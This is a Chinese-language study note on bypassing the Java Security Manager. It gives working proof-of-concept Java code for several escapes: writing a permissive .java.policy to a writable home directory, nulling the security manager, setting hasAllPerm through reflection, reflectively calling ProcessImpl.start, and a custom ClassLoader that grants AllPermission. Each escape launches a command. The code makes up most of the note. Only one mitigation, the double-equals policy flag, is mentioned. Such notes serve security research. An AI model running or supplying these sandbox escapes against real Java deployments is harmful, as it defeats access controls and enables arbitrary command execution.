暂时没想好分到哪个分类,先放着
java沙箱绕过,浅析Java沙箱逃逸
只是记个笔记,详情参考上面链接
单等号+home目录可写导致Java Security Manager绕过
写个简单执行命令的文件
package com.yq1ng.bypassSM;
import java.io.IOException;
/**
* userHomeVul
*
* @author yq1ng
* @date 2022/2/22 22:19
* @since 1.0.0
*/
public class userHomeVul {
public static void main(String[] args) throws IOException {
exec("calc");
}
private static void exec(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
vm启动配置加上-Djava.security.manager
使用默认策略文件,也可以自定义策略文件,vm参数为-Djava.security.manager -Djava.security.policy=java.policy
运行发现只有read权限。默认策略文件在${java.home}/lib/security/java.policy
,看一下
默认是两个policy文件,且user.home下默认没有.java.policy
,如果指定策略文件时使用的单引号就如上面写的,那么 my.policy 会加在上面的两个policy文件之后。当home目录可写的时候,我们就可以写一个恶意的policy来提升权限
my.policy
grant{
permission java.io.FilePermission "C:\\Users\\yq1ng\\*", "write";
};
package com.yq1ng.bypassSM;
import java.io.FileWriter;
import java.io.IOException;
/**
* userHomeVul
*
* @author yq1ng
* @date 2022/2/22 22:19
* @since 1.0.0
*/
public class userHomeVul {
public static void main(String[] args) throws IOException {
// exec("calc");
bypass();
exec("calc");
}
private static void bypass() throws IOException {
final String homePolicyFile = "grant {\n" +
" permission java.io.FilePermission \"<<ALL FILES>>\", \"execute\";\n" +
"};";
FileWriter writer = new FileWriter("C:\\Users\\yq1ng\\.java.policy");
writer.write(homePolicyFile);
writer.close();
}
private static void exec(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
第一次执行没有弹出计算器,因为策略还是默认配置,但是文件写进去了,然后需要在运行一次
nice~
修复方法:-Djava.security.policy==java.policy,用双等于号指定policy文件。
通过setSecurityManager绕过Java Security Manager
通过vm参数去更改感觉有点麻烦,Java也提供了代码“动态”修改sm,这里用双等于号指定my.policy文件,内容为
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};
package com.yq1ng.bypassSM;
import java.io.IOException;
/**
* setSecurityManager
*
* @author yq1ng
* @date 2022/2/22 23:58
* @since 1.0.0
*/
public class setSecurityManager {
public static void main(String[] args) throws IOException {
bypass();
exec("calc");
}
private static void bypass() {
System.setSecurityManager(null);
}
private static void exec(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
通过反射绕过Java Security Manager
思路是跟进上面一种方法的实现,去直接反射属性来完成bypass。
getProtectionDomain0()
package com.yq1ng.bypassSM;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
/**
* bypassWithReflection
*
* @author yq1ng
* @date 2022/2/23 0:10
* @since 1.0.0
*/
public class bypassWithReflection {
public static void main(String[] args) throws IOException {
bypass();
exec("calc");
}
private static void bypass() {
StackTraceElement[] stackTraceElement = Thread.currentThread().getStackTrace();
for (StackTraceElement traceElement : stackTraceElement) {
try {
Class clz = Class.forName(traceElement.getClassName());
Method getProtectionDomain = clz.getClass().getDeclaredMethod("getProtectionDomain0", null);
getProtectionDomain.setAccessible(true);
ProtectionDomain protectionDomain = (ProtectionDomain) getProtectionDomain.invoke(clz);
if (protectionDomain != null) {
Field field = protectionDomain.getClass().getDeclaredField("hasAllPerm");
field.setAccessible(true);
field.set(protectionDomain, true);
}
} catch (ClassNotFoundException | NoSuchFieldException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
private static void exec(String cmd) throws IOException {
Runtime.getRuntime().exec(cmd);
}
}
ProcessImpl()
看Runtime.exec()实现
这里先检查权限,然后在调用ProcessImpl.start()
执行命令,所以直接反射ProcessImpl.start()
即可绕过检查。
即如果一个方法使用会有“鉴权”,但是后续实现是调用其他方法,那么可以直接反射这个方法绕过权限检查。
package com.yq1ng.bypassSM;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Map;
/**
* ProcessBypass
*
* @author yq1ng
* @date 2022/2/23 22:31
* @since 1.0.0
*/
public class ProcessBypass {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(clz, new String[]{"calc"}, null, null, null, false);
}
}
创建类加载器绕过java security manager
自定义classloader初始化所有权限绕过SM
自定义ClassLoader绕过poc为什么很多人执行出现问题的缘由
grant{
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};
import java.security.AccessController;
import java.security.PrivilegedAction;
public class Exploit {
public Exploit() {
}
static {
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
try {
Process process = Runtime.getRuntime().exec("calc");
return null;
} catch (Exception var2) {
var2.printStackTrace();
return null;
}
}
});
}
}
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.nio.ByteBuffer;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.nio.channels.WritableByteChannel;
import java.security.*;
import java.security.cert.Certificate;
public class MyClassLoader extends ClassLoader {
public MyClassLoader() {
}
public MyClassLoader(ClassLoader parent) {
super(parent);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
File file = getClassFile(name);
try {
byte[] bytes = getClassBytes(file);
//在这里调用defineClazz,而不是super.defineClass
Class<?> c = defineClazz(name, bytes, 0, bytes.length);
return c;
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("Exploit")) {
return findClass(name);
}
return super.loadClass(name);
}
protected final Class<?> defineClazz(String name, byte[] b, int off, int len) throws ClassFormatError {
try {
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
//设置ProtectionDomain
ProtectionDomain pd = new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
pc, this, null);
return this.defineClass(name, b, off, len, pd);
} catch (Exception e) {
return null;
}
}
private File getClassFile(String name) {
File file = new File("./" + name + ".class");
return file;
}
private byte[] getClassBytes(File file) throws Exception {
FileInputStream fis = new FileInputStream(file);
FileChannel fc = fis.getChannel();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
WritableByteChannel wbc = Channels.newChannel(baos);
ByteBuffer by = ByteBuffer.allocate(1024);
while (true) {
int i = fc.read(by);
if (i == 0 || i == -1) {
break;
}
by.flip();
wbc.write(by);
by.clear();
}
fis.close();
return baos.toByteArray();
}
}
public class BypassSandbox {
public static void main(String[] args) throws Exception {
MyClassLoader mcl = new MyClassLoader();
Class<?> c1 = Class.forName("Exploit", true, mcl);
Object obj = c1.newInstance();
System.out.println(obj.getClass().getClassLoader());
}
}
本地方法调用绕过Java Security Manager
Java Security Manager是在java核心库中的一个功能,而java中native方法是由jvm执行的,不受java security manager管控。因此,我们可以调用java native方法,绕过java security manager。
java native这玩意是介于Java与c的,所以管不住也是正常